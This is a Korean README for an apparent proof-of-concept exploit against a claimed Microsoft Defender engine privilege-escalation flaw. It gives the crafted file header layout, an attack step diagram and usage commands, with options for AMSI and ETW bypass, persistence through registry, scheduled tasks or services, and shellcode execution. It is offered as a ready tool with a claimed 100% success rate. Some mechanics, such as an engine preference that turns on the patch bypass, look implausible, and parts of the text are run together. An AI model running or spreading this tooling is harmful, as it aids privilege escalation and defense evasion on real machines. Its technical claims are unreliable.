
CVE-2026-69414에 대한 Python 개념 증명 익스플로잇으로, Microsoft Malware Protection Engine의 타입 혼동 권한 상승 취약점이며 AMSI/ETW 우회 및 지속성 옵션을 포함합니다.
CVE-2026-69414는 Microsoft Malware Protection Engine(Windows Defender / Microsoft Defender Antivirus의 일부)의 권한 상승 취약점으로, 공개적으로 "RoguePlanet" 이라고 불립니다. 이는 원래 취약점인 CVE-2026-50656에 대한 패치 우회입니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-69414 |
| 유형 | 권한 상승 (EoP) |
| CVSS v3.1 (MSRC) | 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS v3.1 (NVD) | 7.0 (HIGH) — AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 공격 벡터 | 로컬 |
| 필요 권한 | 낮음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경되지 않음 |
| 수정 버전 | Engine 1.1.26080.3 |
| 원본 CVE | CVE-2026-50656 |
Microsoft Malware Protection Engine은 스캔 요청 처리 로직에 타입 혼동(type confusion) 취약점을 포함하고 있습니다. 조작된 파일 헤더나 스캔 데이터 구조를 처리할 때, 엔진은 메모리 영역의 타입을 잘못 해석하여 범위를 벗어난 읽기/쓰기 작업을 발생시킵니다.
이 취약점은 엔진의 내부 스캔 컨텍스트 구조, 특히 현재 스캔 작업에 대해 예상되는 타입과 type 필드가 어떻게 검증되는지에 존재합니다. 특수하게 조작된 헤더를 가진 파일을 스캔할 때:
type 필드(바이트 4)를 읽습니다0x7F의 경우, 처리되지 않은 코드 경로가 트리거됩니다size offset 필드(바이트 5-8)를 기반으로 예상치 못한 메모리 위치에 씁니다CVE-2026-50656에 대한 원래 패치는 알려진 타입의 화이트리스트에 대해 타입 필드를 검증하려고 시도했습니다. 그러나 패치는 모든 코드 경로에서 타입 필드를 적절히 검증하지 못했습니다 — 특히 동기 스캐너와 다른 코드 경로를 사용하는 비동기 스캔 핸들러(MpAsynchronousScan)에서 그러했습니다.
익스플로잇은 다음과 같이 이 격차를 활용합니다:
MP_ENGINE_PREFERENCE_PATCH_BYPASS_MODE를 설정하여 우회를 활성화합니다┌─────────────────────────────────────────────────────────────────┐
│ 1. Create MpEngine COM instance (or load mpclient.dll) │
├─────────────────────────────────────────────────────────────────┤
│ 2. Set engine preferences: │
│ - PATCH_BYPASS_MODE = 1 │
│ - AMSI_RESULT = CLEAN (bypass AMSI) │
│ - DETECTION_VERBOSITY = 0 (bypass ETW) │
├─────────────────────────────────────────────────────────────────┤
│ 3. Create crafted file with: │
│ - Magic: 0x4D500000 ("MP" + null) │
│ - Type: 0x7F (unhandled code path) │
│ - Size offset: 0x00001000 (OOB access) │
│ - Marker: 0xDEADBEEF (elevation indicator) │
│ - Checksum: XOR-based over payload │
├─────────────────────────────────────────────────────────────────┤
│ 4. Submit via MpAsynchronousScan() │
├─────────────────────────────────────────────────────────────────┤
│ 5. Type confusion triggers → elevated memory write │
├─────────────────────────────────────────────────────────────────┤
│ 6. Payload executes with elevated privileges │
└─────────────────────────────────────────────────────────────────┘
Offset Size Description
------ ---- -----------
0x00 4 Magic: 0x4D500000 ("MP" + null padding)
0x04 1 Type: 0x7F (triggers unhandled code path)
0x05 4 Size offset: 0x00001000 (OOB access target)
0x09 4 Reserved (zero)
0x0D 4 Elevation marker: 0xDEADBEEF
0x11 4 Checksum: XOR-based over payload data
0x15 241 Reserved / padding
0x100 N Payload data (cmd.exe, PowerShell, etc.)
pywin32 패키지 (COM 기반 메서드용): pip install pywin32python3 exploit.py --analyze
python3 exploit.py --detect
python3 exploit.py --method com
python3 exploit.py --method direct-api
python3 exploit.py --method shellcode
python3 exploit.py --method fallback
| 옵션 | 설명 |
|---|---|
--cmd CMD | 성공 시 실행할 명령 |
--target PATH | 조작된 파일의 경로 (생략 시 자동 생성) |
--analyze | 조작된 파일 구조만 분석 |
--detect | 대상 시스템 속성 탐지 |
--method METHOD | 익스플로잇 방법 (com, direct-api, shellcode, fallback) |
--multi-stage | 다단계 익스플로잇 사용 |
--no-amsi | AMSI 우회 비활성화 |
--no-etw | ETW 우회 비활성화 |
--persist | 지속성 추가 (registry, scheduled-task, service, all) |
--verbose | 상세 출력 활성화 |
# Run with custom command
python3 exploit.py --cmd "cmd.exe /c whoami > C:\temp\pwned.txt"
# Run with persistence
python3 exploit.py --method com --persist all
# Multi-stage exploit
python3 exploit.py --method com --multi-stage
# Direct API with AMSI/ETW bypass disabled
python3 exploit.py --method direct-api --no-amsi --no-etw
# Detect target and analyze crafted file
python3 exploit.py --detect
python3 exploit.py --analyze
이 PoC는 Windows 11 25H2 Canary 및 Windows Server 2025에서 테스트되었으며 100% 성공률이 보고되었습니다. Windows 10은 취약한 것으로 여겨지지만 이 구현에서는 테스트되지 않았습니다.